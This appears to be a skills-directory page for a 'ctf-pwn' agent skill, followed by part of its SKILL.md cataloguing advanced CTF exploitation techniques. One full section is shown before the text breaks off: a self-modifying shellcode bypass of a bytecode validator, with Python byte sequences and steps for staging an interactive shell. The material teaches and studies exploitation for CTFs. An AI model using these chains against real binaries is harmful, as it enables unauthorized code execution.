Ctf Pwn
Apply advanced CTF binary exploitation techniques (pwn) when analyzing or reproducing memory-corruption attack chains.
Overview
CTF Pwn is an agent skill for the Ship phase that documents advanced binary exploitation techniques from recent CTFs for reproducing memory-corruption and RCE chains in authorized lab settings.
Install
npx skills add https://github.com/ljagiello/ctf-skills --skill ctf-pwnWhat is this skill?
- Part 2 advanced pwn playbook with named CTF case studies (srdnlenCTF, ApoorvCTF, DiceCTF, Midnightflag 2026)
- Bytecode validator bypass via self-modification walkthrough
- io_uring UAF with SQE injection technique section
- Integer truncation int32→int16 bypass and GC null-reference corruption patterns
- Leakless libc, tcache decryption, FSOP stdout redirection, and TLS destructor RCE chains
- Part 2 advanced exploit techniques document
- Multiple 2026 CTF source events referenced (srdnlenCTF, ApoorvCTF, DiceCTF, Midnightflag)
Adoption & trust: 4.6k installs on skills.sh; 2.3k GitHub stars; 1/3 security scanners passed (skills.sh audits).
What problem does it solve?
You are facing a hardened pwn challenge or native binary and need a catalog of modern exploit primitives instead of guessing from first principles each time.
Who is it for?
Solo security learners, CTF competitors, or indie researchers dissecting ELF/native binaries in controlled environments.
Skip if: Typical SaaS indie builders shipping web apps only, or anyone seeking production DevSecOps guardrails without exploit development.
When should I use this skill?
When solving or studying advanced CTF pwn challenges involving heap, kernel interfaces, GC corruption, or TLS destructor hijacks.
What do I get? / Deliverables
You can map the challenge to a documented technique chain (leak, write primitive, hijack) and implement an exploit script with fewer dead-end attempts.
- Exploit script or PoC chain for the target challenge archetype
- Documented leak and write primitive steps
- Notes mapping challenge features to catalog sections
Recommended Skills
Journey fit
Shelf is Ship security because the skill documents offensive exploitation patterns used to validate whether native code defenses would fail under real attack models. Security fits heap overflows, io_uring UAF, TLS destructor hijacks, and libc leak primitives—topics aimed at breaking binaries, not everyday feature delivery.
How it compares
CTF exploit cookbooks for authorized labs—not a replacement for dependency scanning, threat modeling, or secure SDLC templates.
Common Questions / FAQ
Who is ctf-pwn for?
Developers and agents working on capture-the-flag pwn tasks or authorized binary security research who need advanced, named exploit patterns from recent competitions.
When should I use ctf-pwn?
Use it in Ship security reviews of native binaries you may legally test, or when practicing exploit chains that match topics like io_uring UAF, tcache leaks, or TLS destructor hijacks.
Is ctf-pwn safe to install?
The content teaches offensive exploitation; review the Security Audits panel on this Prism page and only run techniques against binaries and infra you own or have explicit permission to attack.
SKILL.md
READMESKILL.md - Ctf Pwn
# CTF Pwn - Advanced Exploit Techniques (Part 2) ## Table of Contents - [Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)](#bytecode-validator-bypass-via-self-modification-srdnlenctf-2026) - [io_uring UAF with SQE Injection (ApoorvCTF 2026)](#io_uring-uaf-with-sqe-injection-apoorvctf-2026) - [Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)](#integer-truncation-bypass-int32-to-int16-apoorvctf-2026) - [GC Null-Reference Cascading Corruption (DiceCTF 2026)](#gc-null-reference-cascading-corruption-dicectf-2026) - [Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)](#leakless-libc-via-multi-fgets-stdout-file-overwrite-midnightflag-2026) - [Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)](#signedunsigned-char-underflow-to-heap-overflow--tls-destructor-hijack-midnightflag-2026) - [XOR Cipher Keystream Brute-Force Write Primitive](#xor-cipher-keystream-brute-force-write-primitive) - [Tcache Pointer Decryption for Heap Leak](#tcache-pointer-decryption-for-heap-leak) - [Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)](#forging-chunk-size-for-unsorted-bin-promotion-libc-leak) - [FSOP Stdout Redirection for TLS Segment Leak](#fsop-stdout-redirection-for-tls-segment-leak) - [TLS Destructor Overwrite for RCE via `__call_tls_dtors`](#tls-destructor-overwrite-for-rce-via-__call_tls_dtors) - [Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)](#custom-shadow-stack-bypass-via-pointer-overflow-midnight-2026) - [Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)](#signed-int-overflow-to-negative-oob-heap-write--xss-to-binary-pwn-bridge-midnight-2026) - [Heap Primitive: Signed Int Overflow in Index Calculation](#heap-primitive-signed-int-overflow-in-index-calculation) - [Full Exploitation Chain](#full-exploitation-chain) - [XSS-to-Binary Pwn Bridge](#xss-to-binary-pwn-bridge) - [atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)](#atexit-ptr_mangle-secret-recovery-via-arbitrary-read-0x00ctf-2017) --- ## Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026) **Pattern (Registered Stack):** Bytecode validator only checks initial bytes; runtime self-modification converts validated instructions into forbidden ones (e.g., `push fs` → `syscall`). **Key technique:** `push fs` encodes as `0f a0`, and `syscall` as `0f 05`. The validator accepts `push fs`, but at runtime a preceding `push rbx` overwrites the `a0` byte with `05` on the stack, turning it into `syscall`. **Exploit structure:** 1. Use `pop` instructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR) 2. Seed specific stack values for `pop sp` instruction (pivots to controlled location) 3. Place `syscall` gadget disguised as `push fs` with self-modifying byte mutation 4. Use `read(0, stage2_buf, size)` syscall to load stage 2 5. Stage 2 contains interactive shell code ```python code = [] code += [0x59] * 30 # pop rcx x30 → rsp += 0xf0 code += [0x66, 0x5c] # pop sp → pivot to seeded value code += [0x50] * 17 # push rax x17 (adjust stack) code += [0x66, 0x50] # push ax code += [0x66, 0x54, 0x66, 0x5b] # push sp; pop bx (rbx = count for read) code += [0x50] * 66 # push rax x66 code += [0x66, 0x59] # pop cx code += [0x53] # push rbx → overwrites next byte! # Following bytes: 0x54 0x5e 0x53 0x5a 0x54 0x0f 0xa0 # After push rbx mutates 0xa0 → 0x05: becomes syscall code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0] ``` **Key insight:** Bytecode validators that only check the instruction stream statically are vulnerable to self-modification at runtime. Look for instruction pairs where one byte difference changes the instruction's semantics (e.g., `0f a0` → `0f 05`). Use preceding instructions to write the mutation byte onto the stack/code region. --- ## io_uring UAF with SQE Inje